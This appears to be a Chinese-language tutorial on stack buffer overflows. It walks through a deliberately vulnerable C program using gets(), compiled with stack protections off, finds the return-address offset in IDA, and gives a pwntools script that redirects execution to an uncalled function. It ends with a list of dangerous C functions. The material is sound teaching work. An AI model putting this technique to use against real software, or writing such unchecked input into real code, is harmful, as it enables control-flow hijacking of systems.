0%

栈溢出原理

介绍

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。此外,我们也不难发现,发生栈溢出的基本前提是

  • 程序必须向栈上写入数据。
  • 写入的数据大小没有被良好地控制。

最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址,当然需要确保这个地址所在的段具有可执行权限

一个简单的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include<stdio.h>
#include<string.h>
void success()
{
puts("you hack it");
}
void vuln(){
char s[100];
gets(s);
puts(s);
return;
}
int main(){

vuln();
return 0;
}

用以下命令编译

1
gcc -m32 -fno-stack-protector -z execstack -o stack_example stack_example.c 

-m32意思是编译为32位的程序

-fno-stack-protector和-z execstack这两个参数会分别关掉DEP和Stack Protector

7MIatJ.png

可以看到gcc编译时对我们程序使用了gets函数发出了警告,gets()函数不会对字符串长度进行检测,而是以回车判断输入是否结束,所以gets()函数是很容易造成栈溢出的

用checksec检查程序的保护机制

7MIMfs.png

用32位IDA反编译该程序

查看vuln()函数

7MovIe.png

可以发现s距离ebp的距离为0x6c

此时的栈结构为

7M4XVg.png

通过IDA得到success()函数的地址 0x804843B

7MofVU.png

程序本身是没有调用success()函数的,但是可以通过gets()函数输入我们构造的payload覆盖函数的返回地址为success()函数的地址,所以我们的payload为

1
b'a'*(0x6c+4) + success_addr

向程序输入payload之后ebp会被覆盖成我们输入的垃圾数据,返回地址被覆盖成success()函数的地址,此时栈结构

7M5Uzt.png

借助pwntools写脚本

1
2
3
4
5
6
7
from pwn import *
io = process("./stack_example")
success_addr = 0x804843B

payload = b'a'*(0x6c+4) + p32(success_addr)
io.sendline(payload)
io.interactive()

执行代码成功让程序执行success()函数

7MID6x.png

总结

通过上面一个简单的例子总结出栈溢出的基本步骤

1.分析代码找到危险函数如gets()

2.确定需要填充垃圾数据的长度,这里主要是计算出输入的地址距离我们需要覆盖的地址的偏移(如例子中是s到函数返回地址的距离)

栈溢出漏洞一般有以下几种情况

  • 覆盖函数的返回地址
  • 覆盖程序中某个变量的内容
  • 覆盖bss段某个变量的内容

3.构造payload并利用pwntools完成攻击脚本的编写

一些危险函数

  • 输入
    • gets,直接读取一行,忽略’\x00’
    • scanf
    • vscanf
  • 输出
    • sprintf
  • 字符串
    • strcpy,字符串复制,遇到’\x00’停止
    • strcat,字符串拼接,遇到’\x00’停止
    • bcopy